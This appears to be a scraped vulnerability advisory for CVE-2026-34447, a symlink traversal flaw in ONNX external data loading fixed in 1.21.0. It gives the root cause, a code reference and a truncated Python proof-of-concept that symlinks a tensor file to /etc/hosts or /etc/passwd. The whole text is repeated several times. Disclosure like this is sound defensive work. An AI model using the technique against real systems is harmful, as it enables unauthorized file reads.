CVE-2026-34447

Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, there is a symlink traversal vulnerability in external data loading allows reading files outside the model directory. This issue has been patched in version 1.21.0.

Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, there is a symlink traversal vulnerability in external data loading allows reading files outside the model directory. This issue has been patched in version 1.21.0.

Summary

• Issue: Symlink traversal in external data loading allows reading files outside the model directory.
• Affected code: onnx/onnx/checker.cc: resolve_external_data_location used via Python onnx.external_data_helper.load_external_data_for_model.
• Impact: Arbitrary file read (confidentiality breach) when a model’s external data path resolves to a symlink targeting a file outside the model directory.

Root Cause

• The function resolve_external_data_location(base_dir, location, tensor_name) intends to ensure that external data files reside within base_dir. It:
  • Rejects empty/absolute paths
  • Normalizes the relative path and rejects ..
  • Builds data_path = base_dir / relative_path
  • Checks exists(data_path) and is_regular_file(data_path)
• However, std::filesystem::is_regular_file(path) follows symlinks to their targets. A symlink placed inside base_dir that points to a file outside base_dir will pass the checks and be returned. The Python loader then opens the path and reads the target file.

Code Reference

• File: onnx/onnx/checker.cc:970-1060
• Key logic:
  • Normalization: auto relative_path = file_path.lexically_normal().make_preferred();
  • Existence: std::filesystem::exists(data_path)
  • Regular file check: std::filesystem::is_regular_file(data_path)
  • Returned path is later opened in Python: external_data_helper.load_external_data_for_tensor.

Proof of Concept (PoC)

• File: onnx_external_data_symlink_traversal_poc.py
• Behavior: Creates a model with an external tensor pointing to tensor.bin. In the model directory, creates tensor.bin as a symlink to /etc/hosts (or similar). Calls load_external_data_for_model(model, base_dir). Confirms that tensor.raw_data contains content from the target outside the model directory.
• Run:
  • python3 onnx_external_data_symlink_traversal_poc.py
  • Expected: [!!!] VULNERABILITY CONFIRMED: external_data symlink escaped base_dir

onnx_external_data_symlink_traversal_poc.py

#!/usr/bin/env python3
"""
ONNX External Data Symlink Traversal PoC

Finding: load_external_data_for_model() (via c_checker._resolve_external_data_location)
does not reject symlinks. A relative location that is a symlink inside the
model directory can target a file outside the directory and will be read.

Impact: Arbitrary file read outside model_dir when external data files are
obtained from attacker-controlled archives (zip/tar) that create symlinks.

This PoC:
 - Creates a model with a tensor using external_data location 'tensor.bin'
 - Creates 'tensor.bin' as a symlink to a system file (e.g., /etc/hosts)
 - Calls load_external_data_for_model(model, base_dir)
 - Confirms that tensor.raw_data contains the content of the outside file

Safe: only reads a benign system file if present.
"""

import os
import sys
import tempfile
import pathlib

# Ensure we import installed onnx, not the local cloned package
_here = os.path.dirname(os.path.abspath(__file__))
if _here in sys.path:
    sys.path.remove(_here)

import onnx
from onnx import helper, TensorProto
from onnx.external_data_helper import (
    set_external_data,
    load_external_data_for_model,
)


def pick_target_file():
    candidates = ["/etc/hosts", "/etc/passwd", "/System/Library/CoreServices/SystemVersion.plist"]
    for p in candidates:
        if os.path.exists(p) and os.path.isfile(p):
            return p
    raise RuntimeError("No suitable readable system file found for this PoC")


def build_model_with_external(location: str):
    # A 1D tensor; data will be filled from external file
    tensor = helper.make_tensor(
        name="X_ext",
        data_type=TensorProto.UINT8,
        dims=[0],  # dims will be inferred after raw_data is read
        vals=[],
    )
    # add dummy raw_data then set_external_data to mark as external
    tensor.raw_data = b"dummy"
    set_external_data(tensor, location=location)

    # Minimal graph that just feeds the initializer as Constant
   …

Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, there is a symlink traversal vulnerability in external data loading allows reading files outside the model directory. This issue has been patched in version 1.21.0.

Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, there is a symlink traversal vulnerability in external data loading allows reading files outside the model directory. This issue has been patched in version 1.21.0.

Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, there is a symlink traversal vulnerability in external data loading allows reading files outside the model directory. This issue has been patched in version 1.21.0.

Summary

• Issue: Symlink traversal in external data loading allows reading files outside the model directory.
• Affected code: onnx/onnx/checker.cc: resolve_external_data_location used via Python onnx.external_data_helper.load_external_data_for_model.
• Impact: Arbitrary file read (confidentiality breach) when a model’s external data path resolves to a symlink targeting a file outside the model directory.

Root Cause

• The function resolve_external_data_location(base_dir, location, tensor_name) intends to ensure that external data files reside within base_dir. It:
  • Rejects empty/absolute paths
  • Normalizes the relative path and rejects ..
  • Builds data_path = base_dir / relative_path
  • Checks exists(data_path) and is_regular_file(data_path)
• However, std::filesystem::is_regular_file(path) follows symlinks to their targets. A symlink placed inside base_dir that points to a file outside base_dir will pass the checks and be returned. The Python loader then opens the path and reads the target file.

Code Reference

• File: onnx/onnx/checker.cc:970-1060
• Key logic:
  • Normalization: auto relative_path = file_path.lexically_normal().make_preferred();
  • Existence: std::filesystem::exists(data_path)
  • Regular file check: std::filesystem::is_regular_file(data_path)
  • Returned path is later opened in Python: external_data_helper.load_external_data_for_tensor.

Proof of Concept (PoC)

• File: onnx_external_data_symlink_traversal_poc.py
• Behavior: Creates a model with an external tensor pointing to tensor.bin. In the model directory, creates tensor.bin as a symlink to /etc/hosts (or similar). Calls load_external_data_for_model(model, base_dir). Confirms that tensor.raw_data contains content from the target outside the model directory.
• Run:
  • python3 onnx_external_data_symlink_traversal_poc.py
  • Expected: [!!!] VULNERABILITY CONFIRMED: external_data symlink escaped base_dir

onnx_external_data_symlink_traversal_poc.py

#!/usr/bin/env python3
"""
ONNX External Data Symlink Traversal PoC

Finding: load_external_data_for_model() (via c_checker._resolve_external_data_location)
does not reject symlinks. A relative location that is a symlink inside the
model directory can target a file outside the directory and will be read.

Impact: Arbitrary file read outside model_dir when external data files are
obtained from attacker-controlled archives (zip/tar) that create symlinks.

This PoC:
 - Creates a model with a tensor using external_data location 'tensor.bin'
 - Creates 'tensor.bin' as a symlink to a system file (e.g., /etc/hosts)
 - Calls load_external_data_for_model(model, base_dir)
 - Confirms that tensor.raw_data contains the content of the outside file

Safe: only reads a benign system file if present.
"""

import os
import sys
import tempfile
import pathlib

# Ensure we import installed onnx, not the local cloned package
_here = os.path.dirname(os.path.abspath(__file__))
if _here in sys.path:
    sys.path.remove(_here)

import onnx
from onnx import helper, TensorProto
from onnx.external_data_helper import (
    set_external_data,
    load_external_data_for_model,
)


def pick_target_file():
    candidates = ["/etc/hosts", "/etc/passwd", "/System/Library/CoreServices/SystemVersion.plist"]
    for p in candidates:
        if os.path.exists(p) and os.path.isfile(p):
            return p
    raise RuntimeError("No suitable readable system file found for this PoC")


def build_model_with_external(location: str):
    # A 1D tensor; data will be filled from external file
    tensor = helper.make_tensor(
        name="X_ext",
        data_type=TensorProto.UINT8,
        dims=[0],  # dims will be inferred after raw_data is read
        vals=[],
    )
    # add dummy raw_data then set_external_data to mark as external
    tensor.raw_data = b"dummy"
    set_external_data(tensor, location=location)

    # Minimal graph that just feeds the initializer as Constant
   …

Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, there is a symlink traversal vulnerability in external data loading allows reading files outside the model directory. This issue has been patched in version 1.21.0.

Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, there is a symlink traversal vulnerability in external data loading allows reading files outside the model directory. This issue has been patched in version 1.21.0.